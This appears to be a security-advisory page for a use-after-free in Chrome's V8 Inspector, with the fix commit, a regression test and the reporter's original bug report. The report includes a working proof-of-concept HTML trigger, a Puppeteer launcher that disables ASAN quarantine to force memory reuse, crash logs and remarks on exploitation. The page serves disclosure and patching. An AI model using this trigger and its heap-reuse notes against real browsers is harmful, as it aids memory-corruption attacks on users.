Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Tracker486927780
Fix commitba0258ba9609 (v8/v8) +69/-30
CISA KEVNot listed
Credited5shain
Disclosed2026-04-07

Changed Functions

FunctionChangeNotes
if
src/inspector/v8-debugger-agent-impl.cc
modified

Files Changed

  • src/inspector/custom-preview.cc
  • src/inspector/injected-script.cc
  • src/inspector/v8-console-message.cc
  • src/inspector/v8-console.cc
  • src/inspector/v8-debugger-agent-impl.cc
  • src/inspector/v8-debugger.cc
  • src/inspector/v8-heap-profiler-agent-impl.cc
  • src/inspector/v8-inspector-impl.cc
From ba0258ba96097bc799c61b145164ec343b56d37b Mon Sep 17 00:00:00 2001
From: Simon Zünd <szuend@chromium.org>
Date: Fri, 27 Feb 2026 05:20:14 +0000
Subject: [PATCH] [inspector] Use std::shared_ptr for InspectedContext

Unfortunately at this point we are not able to move `InspectedContext`
to the managed C++ heap due to missing Heap* collections and the lack
of labeling retainer links.

The next best thing we can do for now is use std::shared_ptr for
InspectedContext and keep an instance on the stack every time we can
potentially transition into user JS.

R=bmeurer@chromium.org

Fixed: 486927780
Change-Id: I5e4921521a24cc3cd53ffb6cb5b6b6f9d98490e2
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7613210
Auto-Submit: Simon Zünd <szuend@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105489}
---

diff --git a/src/inspector/custom-preview.cc b/src/inspector/custom-preview.cc
index 7ab5f00..7877348 100644
--- a/src/inspector/custom-preview.cc
+++ b/src/inspector/custom-preview.cc
@@ -59,7 +59,7 @@
   v8::Isolate* isolate = v8::Isolate::GetCurrent();
   V8InspectorImpl* inspector =
       static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       inspector->getContext(InspectedContext::contextId(context));
   if (!inspectedContext) return nullptr;
   return inspectedContext->getInjectedScript(sessionId);
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 1260f19..9206038 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -1164,7 +1164,7 @@
     v8::Isolate* isolate = v8::Isolate::GetCurrent();
     V8InspectorImpl* inspector =
         static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
-    InspectedContext* inspectedContext =
+    std::shared_ptr<InspectedContext> inspectedContext =
         inspector->getContext(InspectedContext::contextId(context));
     InjectedScript* injectedScript =
         inspectedContext ? inspectedContext->getInjectedScript(sessionId)
diff --git a/src/inspector/v8-console-message.cc b/src/inspector/v8-console-message.cc
index 128bc6c..567c92a 100644
--- a/src/inspector/v8-console-message.cc
+++ b/src/inspector/v8-console-message.cc
@@ -258,7 +258,7 @@
   int contextGroupId = session->contextGroupId();
   int contextId = m_contextId;
   if (m_arguments.empty() || !contextId) return nullptr;
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       inspector->getContext(contextGroupId, contextId);
   if (!inspectedContext) return nullptr;
 
@@ -423,7 +423,7 @@
                                 bool generatePreview) const {
   if (m_arguments.empty() || !m_contextId) return nullptr;
   DCHECK_EQ(1u, m_arguments.size());
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       session->inspector()->getContext(session->contextGroupId(), m_contextId);
   if (!inspectedContext) return nullptr;
 
diff --git a/src/inspector/v8-console.cc b/src/inspector/v8-console.cc
index 3657822..2e46a26 100644
--- a/src/inspector/v8-console.cc
+++ b/src/inspector/v8-console.cc
@@ -59,7 +59,8 @@
   int groupId() const { return m_inspector->contextGroupId(contextId()); }
 
   InjectedScript* injectedScript(int sessionId) {
-    InspectedContext* context = m_inspector->getContext(groupId(), contextId());
+    std::shared_ptr<InspectedContext> context =
+        m_inspector->getContext(groupId(), contextId());
     if (!context) return nullptr;
     return context->getInjectedScript(sessionId);
   }
diff --git a/src/inspector/v8-debugger-agent-impl.cc b/src/inspector/v8-debugger-agent-impl.cc
index 756560c..2e78b58 100644
--- a/src/inspector/v8-debugger-agent-impl.cc
+++ b/src/inspector/v8-debugger-agent-impl.cc
@@ -898,7 +898,8 @@
   {
     v8::HandleScope handleScope(m_isolate);
     int contextId = it->second->executionContextId();
-    InspectedContext* inspected = m_inspector->getContext(contextId);
+    std::shared_ptr<InspectedContext> inspected =
+        m_inspector->getContext(contextId);
     if (!inspected) {
       return Response::ServerError("Cannot retrive script context");
     }
@@ -943,7 +944,8 @@
   }
   V8DebuggerScript* script = it->second.get();
   int contextId = script->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected)
     return Response::ServerError("Cannot continue to specified location");
   v8::HandleScope handleScope(m_isolate);
@@ -1002,7 +1004,8 @@
   }
   if (!m_blackboxedExecutionContexts.empty()) {
     int contextId = it->second->executionContextId();
-    InspectedContext* inspected = m_inspector->getContext(contextId);
+    std::shared_ptr<InspectedContext> inspected =
+        m_inspector->getContext(contextId);
     if (inspected && m_blackboxedExecutionContexts.count(
                          inspected->uniqueId().toString()) > 0) {
       return true;
@@ -1074,7 +1077,8 @@
   v8::debug::BreakpointId debuggerBreakpointId;
   v8::debug::Location location(lineNumber, columnNumber);
   int contextId = script->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected) return nullptr;
 
   {
@@ -1164,7 +1168,8 @@
     return Response::ServerError("No script with given id found");
   }
   int contextId = it->second->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected) {
     return Response::InternalError();
   }
@@ -1962,7 +1967,7 @@
 
   int contextId = script->executionContextId();
   int contextGroupId = m_inspector->contextGroupId(contextId);
-  InspectedContext* inspected =
+  std::shared_ptr<InspectedContext> inspected =
       m_inspector->getContext(contextGroupId, contextId);
   std::unique_ptr<protocol::DictionaryValue> executionContextAuxData;
   if (inspected) {
diff --git a/src/inspector/v8-debugger.cc b/src/inspector/v8-debugger.cc
index 69fb293..a514972 100644
--- a/src/inspector/v8-debugger.cc
+++ b/src/inspector/v8-debugger.cc
@@ -1452,7 +1452,8 @@
                                    v8::Local<v8::Object> object,
                                    V8InternalValueType type) {
   int contextId = InspectedContext::contextId(context);
-  InspectedContext* inspectedContext = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspectedContext =
+      m_inspector->getContext(contextId);
   return inspectedContext ? inspectedContext->addInternalObject(object, type)
                           : false;
 }
diff --git a/src/inspector/v8-heap-profiler-agent-impl.cc b/src/inspector/v8-heap-profiler-agent-impl.cc
index b8563c7..33e8954 100644
--- a/src/inspector/v8-heap-profiler-agent-impl.cc
+++ b/src/inspector/v8-heap-profiler-agent-impl.cc
@@ -57,8 +57,9 @@
       : m_offset(0), m_strings(10000), m_session(session) {}
 
   const char* GetName(v8::Local<v8::Context> context) override {
-    InspectedContext* inspected_context = m_session->inspector()->getContext(
-        m_session->contextGroupId(), InspectedContext::contextId(context));
+    std::shared_ptr<InspectedContext> inspected_context =
+        m_session->inspector()->getContext(
+            m_session->contextGroupId(), InspectedContext::contextId(context));
     if (!inspected_context) return nullptr;
     String16 name = inspected_context->origin();
     size_t length = name.length();
diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index 9dae9ef..b570974 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -237,8 +237,8 @@
   }
 }
 
-InspectedContext* V8InspectorImpl::getContext(int groupId,
-                                              int contextId) const {
+std::shared_ptr<InspectedContext> V8InspectorImpl::getContext(
+    int groupId, int contextId) const {
   if (!groupId || !contextId) return nullptr;
 
   auto contextGroupIt = m_contexts.find(groupId);
@@ -247,20 +247,21 @@
   auto contextIt = contextGroupIt->second->find(contextId);
   if (contextIt == contextGroupIt->second->end()) return nullptr;
 
-  return contextIt->second.get();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/regress/regress-crbug-486927780-expected.txt b/test/inspector/regress/regress-crbug-486927780-expected.txt
new file mode 100644
index 0000000..e1a234a
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780-expected.txt
@@ -0,0 +1 @@
+Tests that destroying context from inside of console.log does not crash
diff --git a/test/inspector/regress/regress-crbug-486927780.js b/test/inspector/regress/regress-crbug-486927780.js
new file mode 100644
index 0000000..a156dc2
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const {session, contextGroup, Protocol} = InspectorTest.start(
+    'Tests that destroying context from inside of console.log does not crash');
+
+const expression = `
+  Error.prepareStackTrace = function(error, trace) {
+    inspector.fireContextDestroyed();
+    return '<mock formatted stack trace>';
+  };
+  console.log(new Error('trigger'));
+`;
+
+(async () => {
+  Protocol.Runtime.enable();
+  contextGroup.createContext('mock-iframe');
+  const {params: {context: {uniqueId}}} =
+      await Protocol.Runtime.onceExecutionContextCreated();
+
+  await Protocol.Runtime.evaluate({expression, uniqueContextId: uniqueId});
+
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by tn...@gmail.com

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability


Report description

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability

Summary

A use-after-free vulnerability in Chrome’s V8 Inspector allows a malicious webpage to trigger memory corruption in the renderer process. The bug occurs when an iframe is removed during the Error.prepareStackTrace callback, which runs synchronously during console.log() processing, causing a dangling pointer to a freed InjectedScript object.

Vulnerability Details

Bug Type

Use-After-Free (UAF) in V8 Inspector

Affected Component

  • File: v8/src/inspector/injected-script.cc
  • Function: v8_inspector::InjectedScript::wrapObjectMirror()
  • Line: 628

Affected Object

  • Class: v8_inspector::InjectedScript
  • Size: 232 bytes
  • Accessed Offset: 224 bytes (m_customPreviewEnabled member)

MiraclePtr Protection Status

NOT PROTECTED - The pointer is a raw C++ pointer, not wrapped in raw_ptr<T>.

The dangling pointer exists in the call chain:

  • V8ConsoleMessage::wrapArguments() calls session->wrapObject() (v8-console-message.cc:300)
  • V8InspectorSessionImpl::wrapObject() calls findInjectedScript() which returns a raw InjectedScript*
  • This raw pointer is used after JavaScript execution that can free the pointed-to object

Root Cause Analysis

The Vulnerability Flow

  1. Setup: A malicious page creates an iframe with a script that hooks Error.prepareStackTrace

  2. Trigger: The iframe calls console.log(new Error('trigger'))

  3. V8ConsoleMessage Creation: Chrome creates a V8ConsoleMessage object containing the console arguments

  4. Stack Trace Formatting: When formatting the Error object for DevTools, V8 calls the custom Error.prepareStackTrace callback

  5. Critical Action: Inside the callback, JavaScript removes the iframe (window.frameElement.remove())

  6. Context Destruction: Removing the iframe triggers:

    • LocalWindowProxy::DisposeContext()
    • MainThreadDebugger::ContextWillBeDestroyed()
    • V8InspectorImpl::discardInspectedContext()
    • InspectedContext destructor runs
    • InjectedScript is freed (via unique_ptr in m_injectedScripts map)
  7. Dangling Pointer Use: Control returns to wrapArguments() which still holds the raw InjectedScript* pointer and calls wrapObjectMirror() on freed memory

Source Code Flow

console.log(new Error())
    ↓
V8Console::Log()
    ↓
ConsoleHelper::reportCall()
    ↓
V8ConsoleMessage::wrapArguments()
    ↓
    session->wrapObject()
        ↓
        findInjectedScript() → returns InjectedScript*
        ↓
        [Error.prepareStackTrace callback runs HERE]
        [JavaScript removes iframe]
        [InjectedScript FREED]
        ↓
        injectedScript->wrapObject() → UAF!
            ↓
            wrapObjectMirror() reads m_customPreviewEnabled at offset 224

Impact

Security Impact

  • Memory Corruption: Read from freed 232-byte heap region
  • Renderer Process: The crash occurs in the renderer process
  • Potential for Exploitation:
    • The freed memory can be reclaimed by same-bucket allocations
    • With ASAN quarantine disabled (quarantine_size_mb=0), different Chrome objects naturally take the freed slot
    • If m_customPreviewEnabled (offset 224) reads as non-zero, additional virtual method calls occur on the fake object
    • With controlled memory reclamation, this could lead to code execution

Memory Reuse Evidence

With ASAN quarantine disabled, we observe heap-buffer-overflow instead of heap-use-after-free, proving memory reuse:

0x113bf94dfc20 is located 344 bytes after 200-byte region
allocated by thread T8 here:
    ipcz::Router::Deserialize (200 bytes)

The freed InjectedScript slot is being reused by other allocations. The ipcz::Router (200 bytes, IPC system) lands nearby. The size mismatch causes an out-of-bounds read, but this demonstrates the allocator IS reusing the freed memory.

Exploitation Challenges

  1. The UAF read happens synchronously in the same call stack as the free
  2. No JavaScript execution window exists between free and use
  3. The InjectedScript (232 bytes) bucket may not align with JS-controllable objects
  4. A separate thread/process would be needed to race the allocation

Attack Prerequisites

  1. DevTools must be connected (via CDP or --auto-open-devtools-for-tabs)
  2. Runtime.enable protocol message must be active (automatic when Console is used)

Trigger Variants

The vulnerability can be triggered via multiple iframe techniques:

  1. srcdoc iframe - Inline HTML in srcdoc attribute (same-origin) ✅ CRASHES
  2. javascript: URL iframe - Script in iframe src ✅ CRASHES
  3. blob: URL iframe - Blob URL with HTML content ❌ Cross-origin blocked
  4. data: URL iframe - Data URL with HTML content ❌ Cross-origin blocked

The key requirement is same-origin access to parent.document so the iframe can remove itself.

Tested Configuration

  • Chrome Version: 146.0.7680.0 (ASAN Build)
  • Platform: Windows x64
  • Build: Official Chromium ASAN build from chromium-browser-asan storage bucket

Proof of Concept

PoC (poc.html)

<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
    window.frameElement.remove(); // Free InjectedScript
    return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>

Running with Puppeteer (pptr.js)

const puppeteer = require('puppeteer');
const path = require('path');

(async () => {
  const browser = await puppeteer.launch({
    executablePath: 'path/to/chrome-asan/chrome.exe',
    args: ['--no-sandbox'],
    headless: false,
    env: {
      ...process.env,
      ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
    }
  });
  const page = await browser.newPage();
  await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
  await new Promise(r => setTimeout(r, 3000));
  process.exit(1);
})();

ASAN Crash Report

With Quarantine (heap-use-after-free detected)

==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
    #0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
    #1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
    #2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
    #3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
    ...

0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
    #0 operator delete
    #1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
    #2 v8_inspector::InspectedContext::~InspectedContext()
    #3 v8_inspector::V8InspectorImpl::discardInspectedContext()
    #4 blink::MainThreadDebugger::ContextWillBeDestroyed()
    ...

With Quarantine Disabled (heap-buffer-overflow = memory reused)

==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
    #0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
    ...

0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
    #0 operator new
    #1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
    ...

This shows that when ASAN quarantine is disabled, a 216-byte V8InspectorSessionImpl object took the freed slot, and the code read past it (328 bytes after = 216 + 112, while original access was at offset 224).

Suggested Fix

The fix should ensure the InjectedScript pointer remains valid throughout the wrapArguments() operation. Options:

  1. Use safe pointers: Convert the raw InjectedScript* to raw_ptr<InjectedScript> or similar smart pointer

  2. Re-validate before use: After any JavaScript callback (like prepareStackTrace), re-lookup the InjectedScript from the context

  3. Prevent context destruction during callback: Block iframe removal during console message processing

Example fix in v8-console-message.cc:

// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!

// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe

Files Attached

  • poc.html - Clean PoC file
  • pptr.js - Puppeteer automation script
  • crash.txt - ASAN crash log (with quarantine)
  • crash_quarantine0.txt - ASAN crash log (quarantine disabled, shows memory reuse)

Timeline

  • Tested Version: Chromium 146.0.7680.0

Impact analysis

.


The cause

What version of Chrome have you found the security issue in?

I’ve been able to reproduce the crash on versions 72-93, 109-146.

Yes, it is related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed process)

How would you like to be publicly acknowledged for your report?

5shain

View on issue tracker